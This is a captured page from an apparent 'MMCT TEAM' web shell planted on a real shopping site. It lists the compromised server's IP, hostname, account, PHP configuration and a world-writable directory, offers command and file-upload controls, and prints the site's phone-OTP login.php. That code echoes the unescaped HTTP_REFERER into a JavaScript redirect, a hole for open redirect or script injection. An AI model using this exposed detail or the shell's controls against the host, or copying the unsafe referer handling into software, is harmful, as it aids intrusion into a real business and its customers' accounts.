MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0777) :  /home/u641149403/domains/uniformindia.co.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/login.php
<!DOCTYPE html>
<html lang="en">
<head>
	<?php
	include('connect.php');
	session_start();
	if (isset($_SESSION['userid'])) {
		header('Location:index.php');
	}
	$msg=""; 
	$previous_url=$_SERVER['HTTP_REFERER']; 
	if($previous_url=='https://uniformindia.co.in/login.php'){
		$previous_url='index.php';
	}
	if (isset($_GET['page'])) {
		$previous_url = 'https://uniformindia.co.in/cart.php';
	}
	?>
	<?php include('header.php');?>
	<!DOCTYPE html>
	<html>
	<head>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<title>Uniform India - Login</title>
		<link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css">
		<link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900&amp;subset=latin,latin-ext">
	</head>


	<section class="bg-light profile-section">
		<div class="box">
			<div class="container">
				<div class="row no-gutters">
					<div class="col-md-6">
						<div class="left-container d-none d-md-block">
							<h1>
								Login
							</h1>
							<h5>Get access to your Orders, Wishlist and Recommendations</h5>
							<div class="brand_logo">
								<img src="logo.png">
							</div>
						</div>
					</div>
					<div class="col-md-6 bg-color">
						<div class="card ps-lg-5">
							<form method="post" id="login">
								<div class="res"></div>
								<div class="h2">LOGIN</div>
								<label>Enter Phone Number</label>
								<input type="number" class="form-control" name="phone" id="phone" required>
								<input type="submit" value="SEND OTP" name="submit" class="btn btn-theme mt-3">
							</form>
							
							<form id="verify_otp" autocomplete="off" style="display:none;">
								<div class="res"></div>
								<div class="h2">VERIFY OTP</div>
								<label>Enter OTP</label>
								<input type="number" class="form-control" name="otp" id="otp" required>
								<input type="submit" value="VERIFY OTP" name="submit" class="btn btn-theme mt-3">
							</form>
							<p class="mt-4"><small>By continuing, you agree to uniform India <a href="#" class="text-primary">Terms of Use</a> and <a href="#" class="text-primary">Privacy Policy.</a></small></p>
						</div>
					</div>
				</div>
			</div>
		</div>
	</section>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
	<script>
		$('#login').on('submit', function () {
			$.ajax({
				type: 'post',
				url: 'ajax_login.php',
				data: $('#login').serialize(),
				success: function (result) {
					console.log(result);
					$('#verify_otp').show();
					$('#login').hide();
					alertify.set('notifier','position', 'top-right');
					alertify.success('Otp has been sent to your phone number.');
				}
			});
			return false;
		});

    // verify OTP
		$('#verify_otp').on('submit', function (e) {
			e.preventDefault();
			$.ajax({
				type: 'post',
				url: 'ajax_login.php',
				data: $('#verify_otp').serialize(),
				success: function (result) {
					if(result==1){

						window.location.href = '<?=$previous_url;?>';

					}else{
						alertify.set('notifier','position', 'top-right');
						alertify.error('Please enter valid OTP');
					}
				}
			});
		});

	</script>
	<?php include('footer.php'); ?>

MMCT - 2023